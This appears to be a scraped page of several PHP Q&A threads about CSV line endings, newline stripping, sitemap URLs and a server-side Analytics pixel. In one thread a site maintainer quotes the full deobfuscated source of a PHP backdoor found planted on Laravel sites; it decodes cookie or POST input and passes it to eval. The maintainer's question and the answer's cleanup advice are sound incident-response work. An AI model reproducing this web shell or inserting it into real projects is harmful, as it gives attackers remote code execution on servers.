EDIT: Fixed, I had to remove all spaces I had (before the commas in the code below) and use trim
I'm trying to generate a CSV file using PHP. However the file splits into lines on its own. It looks fine in View Source, but excel/notepad show lines randomly broken up.
Here is my code :
// Echo Code Here
$string = '"REF1" , "FIRSTCLASS" ,"P" ,"1" ,"' . $orderref . '" ,"' . $fullname . '" ,"' . $add1 . '" ,"' . $add2 . '" ,"" ,"' . $postcode . '" ,"' . $city . '" ,"' . $country . '" ,"' . $fullname . '" ,"' . $telephone . '" ,"' . $email . '" ,"1" ,"1.0 kg"' . "\n";
echo $string;
Any help would be great, this is my first time working with CSV in PHP.
Since you're using Windows, you should use Windows-style line endings: \r\n instead of just \n.
There is PHP function forwriting CSV into file:
PHP "fputcsv" function
http://us2.php.net/manual/en/function.fputcsv.php
Related
while trying to generate dynamic sitemaps, I tried adding two variables in url path, and the line is giving me error
this is my sample line:
echo "<loc>" . $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . "$subFeaturedPostSlug" . "</loc>" . PHP_EOL;PHP_EOL;
I tried doing it like this also:
echo "<loc>{$base_url}category.php?category={$subFeaturedPostCatSlug}&job={$subFeaturedPostSlug}</loc>" . PHP_EOL;
error screenshot attached;
Any help will be appreciated, thanks in advance
Try this -
$str = $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . $subFeaturedPostSlug . "" . PHP_EOL;
echo htmlspecialchars_decode($str);
You should be able to fix this using the urlencode() function as mentioned in your comments.
So,
echo "<loc>" . $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . "$subFeaturedPostSlug" . "</loc>" . PHP_EOL;PHP_EOL;
becomes
echo "<loc>" . urlencode($base_url) . "category.php?category=" . urlencode($subFeaturedPostCatSlug) . "&job=" . urlencode($subFeaturedPostSlug) . "</loc>" . PHP_EOL.PHP_EOL;
More details at PHP Documentation for urlencode()
Also, I found out that there is error in your code:
echo "<loc>" . $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . "$subFeaturedPostSlug" . "</loc>" . PHP_EOL;PHP_EOL;
Towards the end of the echo, you have written:
...PHP_EOL;PHP_EOL;
which should ideally have been
...PHP_EOL.PHP_EOL;
I have following string (using $_POST), how to remove all the new line, spaces and make it as a absolute single line?
Physical Address. . . . . . . . . : E8-6A-64-DE-48-60
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8F
Physical Address. . . . . . . . . : 06-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-92
Not always stable?
$request= mysql_real_escape_string(trim($_POST['request']));
$request_sql =str_replace("\r\n",'', $request);
$request_sql = str_replace("\\r\\n",'', $request_sql);
echo $request_sql;
trim only strips spaces at end and start of the string and you should strip \r and \n individually.
try this:
$request= mysql_real_escape_string($_POST['request']);
$request_sql =str_replace("\n",'', $request);
$request_sql = str_replace("\r",'', $request_sql);
$request_sql = str_replace(" ",'', $request_sql);
echo $request_sql;
Try using regex.
$request = $_POST['request'];
//Remove all characters that are not A-Z, a-z, 0-9 or '.', ':' or '-'
$request_sql = preg_replace("/[^A-Za-z0-9.:-]/", '', $request );
try:
$str = 'Physical Address. . . . . . . . . : E8-6A-64-DE-48-60
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8F
Physical Address. . . . . . . . . : 06-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-92';
echo str_replace(" \n", '', $str);
Output:
Physical Address. . . . . . . . . : E8-6A-64-DE-48-60Physical Address. . . . . . . . . : 04-EA-56-08-E6-8FPhysical Address. . . . . . . . . : 06-EA-56-08-E6-8EPhysical Address. . . . . . . . . : 04-EA-56-08-E6-8EPhysical Address. . . . . . . . . : 04-EA-56-08-E6-92
After replacing the \n you can use mysql escape string to avoid sql injection.
The problem with your code is that mysql_real_escape_string will not only escape ' and " but it will escape other characters like \n and \r which you want to remove.
It will replace new line characters with a backslash character followed by l characters
so removing newlines, carriage return after they have been escaped will result in a string with extra backslashes \ and n and r characters.
Check out this
<?php
$originalString =
"Line1
Line2
";
// CASE 1 WRONG RESULT
$string1 = mysqli_real_escape_string($con, $originalString);
$string1 = str_replace("\n", '', $string1);
echo "escape then replace result \n";
echo $string1 . "\n";
//CASE 2 EXPECTED RESULT
$string2 = str_replace("\n", '', $originalString);
$string2 = mysqli_real_escape_string($con, $string2);
echo "replace then escape result \n";
echo $string2 . "\n";
this will output
escape then replace result
Line1\nLine2\n
replace then escape result
Line1Line2
So to correct your code
$request_sql =str_replace(["\n", "\r", " "],'', $_POST['request']);
$request= mysql_real_escape_string($request_sql);
echo $request_sql;
Please don't use mysql_real_escape_string , instead use prepared statements, here an answer for how to switch to them, they will make your life much more easier and safer.
For a customer I am maintaining a small group of websites built in PHP Laravel. Lately while working on these I have discovered a couple of new suspicious looking files, which suddenly appeared on two of the websites FTP servers. The files are not originally a part of the codebase, and I have no idea where they're coming from all of a sudden. There are three files in total, named b3lo5x3x.php, cache.php and plugin.php and they are located in the root directory of the websites.
The content of the files looks pretty disturbing. When decoded on unphp.net I get the following result, which is the exact same for all three files. The size of all three files are also the same.
<?php
$hguenpg = '8v7n\'kadeH62ycg_ti9pm1-fsb0#rxlu4*o';
$fvgiv = Array();
$fvgiv[] = $hguenpg[18] . $hguenpg[11] . $hguenpg[0] . $hguenpg[0] . $hguenpg[26] . $hguenpg[11] . $hguenpg[21] . $hguenpg[0] . $hguenpg[22] . $hguenpg[10] . $hguenpg[7] . $hguenpg[13] . $hguenpg[11] . $hguenpg[22] . $hguenpg[32] . $hguenpg[6] . $hguenpg[23] . $hguenpg[8] . $hguenpg[22] . $hguenpg[0] . $hguenpg[32] . $hguenpg[6] . $hguenpg[25] . $hguenpg[22] . $hguenpg[13] . $hguenpg[32] . $hguenpg[7] . $hguenpg[21] . $hguenpg[18] . $hguenpg[11] . $hguenpg[25] . $hguenpg[2] . $hguenpg[7] . $hguenpg[0] . $hguenpg[23] . $hguenpg[2];
$fvgiv[] = $hguenpg[9] . $hguenpg[33];
$fvgiv[] = $hguenpg[27];
$fvgiv[] = $hguenpg[13] . $hguenpg[34] . $hguenpg[31] . $hguenpg[3] . $hguenpg[16];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[15] . $hguenpg[28] . $hguenpg[8] . $hguenpg[19] . $hguenpg[8] . $hguenpg[6] . $hguenpg[16];
$fvgiv[] = $hguenpg[8] . $hguenpg[29] . $hguenpg[19] . $hguenpg[30] . $hguenpg[34] . $hguenpg[7] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[31] . $hguenpg[25] . $hguenpg[24] . $hguenpg[16] . $hguenpg[28];
$fvgiv[] = $hguenpg[6] . $hguenpg[28] . $hguenpg[28] . $hguenpg[6] . $hguenpg[12] . $hguenpg[15] . $hguenpg[20] . $hguenpg[8] . $hguenpg[28] . $hguenpg[14] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[30] . $hguenpg[8] . $hguenpg[3];
$fvgiv[] = $hguenpg[19] . $hguenpg[6] . $hguenpg[13] . $hguenpg[5];
foreach ($fvgiv[7]($_COOKIE, $_POST) as $lfpfzw => $wqudv) {
function dgubnv($fvgiv, $lfpfzw, $nclll) {
return $fvgiv[6]($fvgiv[4]($lfpfzw . $fvgiv[0], ($nclll / $fvgiv[8]($lfpfzw)) + 1), 0, $nclll);
}
function oocfo($fvgiv, $elasr) {
return #$fvgiv[9]($fvgiv[1], $elasr);
}
function yiugt($fvgiv, $elasr) {
$vezpr = $fvgiv[3]($elasr) % 3;
if (!$vezpr) {
eval($elasr[1]($elasr[2]));
exit();
}
}
$wqudv = oocfo($fvgiv, $wqudv);
yiugt($fvgiv, $fvgiv[5]($fvgiv[2], $wqudv ^ dgubnv($fvgiv, $lfpfzw, $fvgiv[8]($wqudv))));
} ?>
Does anyone know what this can be? Can it be that the FTP servers are infected with some kind of malware or hacking tools?
Wipe the machines affected completely. You need to reinstall the Laravel project(s) to a new clean machine. You also should audit them and any other software used if possible.
Make sure that all of the software on the server is updated too. Most likely you were compromised through a non updated software with a known vulnerability.
I have a php form that sends the results to an email and also writes to a csv file on the server that I download to use in openoffice calc.
The mailing works fine, and so does the writing except one aspect:
when people use the "enter" key (carriage return, right?) the new line is seen as another cell in openoffice calc, or if I open the file using notepad++ I see the lines of the same field on different lines.
How can I clean it up so that the content of the text area displays in its single cell?
I had the problem when people used commas in the fields, so I change commas with pipes, and that seems to have fixed that part.
Here is the code to write into the csv file I am using, in case you need some more of the code, please let me know.
$fp = fopen('/path-to-file/data.csv', 'a');
fwrite($fp, $name . '|' . $lastname . '|' . $address . '|' . $city . '|' . $country . '|' . $email . '|' . $phone . '|' . $messageone . '|' . $messagetwo . '|' . $comment . '|' . PHP_EOL);
fclose($fp);
UPDATE ONE
#Marco
Thank you for the code, I thought it was not related, but in the full code I do have the trim function, and it doesn't seem to do it, following is a more complete code of the processing file, file ends with the code to send the email messages to user, and admin - I removed many fields, but they are basically the same as the ones posted, as you can guess.
$required = array('name','lastname','address','city'); // more fields here
$all_okay = TRUE;
$clean_post = array();
$error = '';
foreach($required as $key) {
if (empty($_POST[$key])){
$error .= "<br/>$key is a required field\n";
$all_okay = FALSE;
}else{
$clean_post[$key] = $_POST[$key];
$_SESSION[$key] = $_POST[$key];
}
}
//Name
}elseif(!preg_match("/^[a-zA-Z' -]{2,}/", trim($_POST['name']))){
$error .= "<br /><strong>Name does not pass validation</strong>\n";
//Lastname
}elseif(!preg_match("/^[a-zA-Z' -]{2,}/", trim($_POST['lastname']))){
$error .= "<br /><strong>Lastname does not pass validation</strong>\n";
//Address
}elseif(!preg_match("/^[a-zA-Z0-9' -]{2,}/", trim($_POST['address']))){
$error .= "<br /><strong>Address does not pass validation</strong>\n";
//Continue if no error
}elseif(empty($error)){
// PREPARE THE DATA
$name = Trim(stripslashes($_POST['name']));
$lastname = Trim(stripslashes($_POST['lastname']));
$address = Trim(stripslashes($_POST['address']));
$city = Trim(stripslashes($_POST['city']));
// write to csv file
$fp = fopen('/path-to-file/data.csv', 'a');
fwrite($fp, $name . '|' . $lastname . '|' . $address . '|' . $city . '|' . $country . '|' . $email . '|' . $phone . '|' . $messageone . '|' . $messagetwo . '|' . $comment . '|' . PHP_EOL);
fclose($fp);
// PREPARE EMAIL BODY TEXT
$body = '';
$Admin_body = '';
UPDATE TWO
#Marco
Thank you, the debugger displays the same way, with the "error".
I might have found the culprit, though I don't know how to solve it, but you might.
The problem is there are not text delimiter, besides the field delimiter.
I tried adding this, but while email goes thru the file is not written on.
fwrite($fp, '"' . $name . '"|"' . $lastname . '"|"' . $address . '"|"' . $city . '"|"' . $country . '"|"'
I cut the code, but did it to the last field (comment).
And I also didn't put all the trimmed fields, but they are all trimmed.
The idea of the text delimiter is from here:
https://forum.openoffice.org/en/forum/viewtopic.php?f=9&t=76545&p=348709#p348709
UPDATE THREE
OK, this is the solution for others if encounter same problem
The last snip was on the right track, but I had an error in it, pipe and quote mark at the end, and I added EOL.
fwrite($fp, '"' . $name . '|' . $lastname . '|' . $address . '|' . $city . '|' . $country . '|' . $email . '|' . $phone . '|' . $messageone . '|' . $messagetwo . '|' . $comment . '"' . PHP_EOL);
Thank you Marco, your help, and patience greatly appreciated.
To get rid of newlines, extra spaces, etc. use the trim() function.
It can be useful to remove commas, dots and other stuff at the end of the lines, too.
See https://php.net/trim
== Here is the code ==
$name = trim($name);
$lastname = trim($lastname);
$address = trim($address);
$city = trim($city);
$country = trim($country);
$email = trim($email);
$messageone = trim($messageone);
$messagetwo = trim($messagetwo);
$comment = trim($comment);
$fp = fopen('/path-to-file/data.csv', 'a');
fwrite($fp, $name . '|' . $lastname . '|' . $address . '|' . $city . '|' . $country . '|' . $email . '|' . $phone . '|' . $messageone . '|' . $messagetwo . '|' . $comment);
fclose($fp);
Many users, not seeing extra spaces, think they don't exist… so we programmers have to think for them :-)
== Update ==
For a better debugging you can add these lines to your code:
// write to csv file
$fp = fopen('/path-to-file/data.csv', 'a');
fwrite($fp, $name . '|' . $lastname . '|' . $address . '|' . $city . '|' . $country . '|' . $email . '|' . $phone . '|' . $messageone . '|' . $messagetwo . '|' . $comment);
fclose($fp);
// your code ends here
echo "<pre>";
echo "[" . $name . '|' . $lastname . '|' . $address . '|' . $city . '|' . $country . '|' . $email . '|' . $phone . '|' . $messageone . '|' . $messagetwo . '|' . $comment . "]";
echo "</pre";
die ("Debugging - the script stops here");
The script will show you the same string written on file and will "die" (stop).
If you see a carriage return before the last ] then it is at the end of $comment: I noticed in your code just some of the variables are trimmed.
I am using the following script to send data from a form to google analytics:
if ($result){
$var_utmac = 'UA-0000000-0';
$var_utmhn = 'my-site.com'; // domain
$var_utmn = rand(1000000000,9999999999); // random number
$var_cookie = rand(10000000,99999999); //random cookie number
$var_random = rand(1000000000,2147483647); //number under 2147483647
$var_today = time();
$var_referer = $_SERVER['HTTP_REFERER']; //referer url
if ($var_referer == '') { $var_referer = '-'; }
$var_uservar='-'; // no user-defined
$var_utmp= $_POST['REQUEST_URI'].'data_'. htmlentities($_POST['dataone']).'_'.htmlentities($_POST['datatwo']); // folder called no_jstracker to segment nojavascript visitors
$urchinUrl='http://www.google-analytics.com/__utm.gif?utmwv=3&utmn=' . $var_utmn . '&utme=&utmcs=-&utmsr=-&utmsc=-&utmul=-&utmje=0&utmfl=-&utmdt=-&utmhn=' . $var_utmhn . '&utmhid=' . $var_utmn . '&utmr=' . $var_referer . '&utmp=' . $var_utmp . '&utmac=' . $var_utmac . '&utmcc=__utma%3D' . $var_cookie . '.' . $var_random . '.' . $var_today . '.' . $var_today . '.' . $var_today . '.2%3B%2B__utmz%3D' . $var_cookie . '.' . $var_today . '.2.2.utmcsr%3D_SOURCE_%7Cutmccn%3D_CAMPAIGN_%7Cutmcmd%3D_MEDIUM_%7Cutmctr%3D_KEYWORD_%7Cutmcct%3D_CONTENT_%3B%2B__utmv%3D' . $var_cookie . '.' . $var_uservar . '%3B';
echo ' <img src="' . $urchinUrl . '" border="0" />';
}
While the data is being sent successfully there is one issue and that is that analytics doesn't show some of the data correctly i.e. for campaign data ist just shoes "CAMPAIGN" for keyword it shows "KEYWORD". It is clear where this happens in the script but am not sure how to fix it. Ideally of course analytics should populate that with its own data.
Any suggestions whether this is even possible?
i think this is happen because you hard coded "CAMPAIGN" value. instead of that assign value for campaign.
$CAMPAIGN='facebook';
$KEYWORD='testing';
$urchinUrl='http://www.google-analytics.com/__utm.gif?utmwv=3&utmn=' . $var_utmn . '&utme=&utmcs=-&utmsr=-&utmsc=-&utmul=-&utmje=0&utmfl=-&utmdt=-&utmhn=' . $var_utmhn . '&utmhid=' . $var_utmn . '&utmr=' . $var_referer . '&utmp=' . $var_utmp . '&utmac=' . $var_utmac . '&utmcc=__utma%3D' . $var_cookie . '.' . $var_random . '.' . $var_today . '.' . $var_today . '.' . $var_today . '.2%3B%2B__utmz%3D' . $var_cookie . '.' . $var_today . '.2.2.utmcsr%3D_SOURCE_%7Cutmccn%3D'.$CAMPAIGN.'%7Cutmcmd%3D_MEDIUM_%7Cutmctr%3D'.$KEYWORD.'%7Cutmcct%3D_CONTENT_%3B%2B__utmv%3D' . $var_cookie . '.' . $var_uservar . '%3B';
for more details about Google Analytics Cookies